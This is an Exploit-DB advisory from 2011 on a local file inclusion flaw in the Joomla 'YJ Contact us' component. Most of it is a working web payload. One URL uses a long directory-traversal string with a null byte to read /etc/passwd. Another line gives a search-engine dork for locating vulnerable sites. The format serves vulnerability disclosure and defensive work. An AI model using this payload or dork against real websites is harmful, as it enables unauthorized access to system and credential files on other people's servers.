Joomla YJ Contact us Component Local File Inclusion Vulnerability

2011-10-25T00:00:00
ID EDB-ID:18033
Type exploitdb
Reporter MeGo
Modified 2011-10-25T00:00:00

Description

Joomla YJ Contact us Component Local File Inclusion Vulnerability. Webapps exploit for php platform

                                        
                                            ================================================================================
  
  - YJ Contact us - Enhanced Joomla Contact Form <= Local File Inclusion Vulnerability
   
       Software : YJ Contact us - Enhanced Joomla Contact Form 
       Vendor   : http://www.youjoomla.com/yj-contact-us-enhanced-joomla-contact-form-2.html
       Author   : Mego
       Contact  : nowar204[at]hotmail[dot]com
       Home     : NONE
 
================================================================================
 
  - Exploit
 
       http://localhost/[path]/index.php?option=com_yjcontactus&view=[LFI]
 
 
  - PoC
 
       http://localhost/[path]/index.php?option=com_yjcontactus&view=../../../../../../../../../../../../../../../../../../../etc/passwd%00
 
 
  - Dork
 
       "com_yjcontactus"+view
 
================================================================================
 
  - Greetz
 
       norgod,g0ld,vnc and all brazilian c0ders
 
================================================================================
 
  - October 25 2011 - Morocco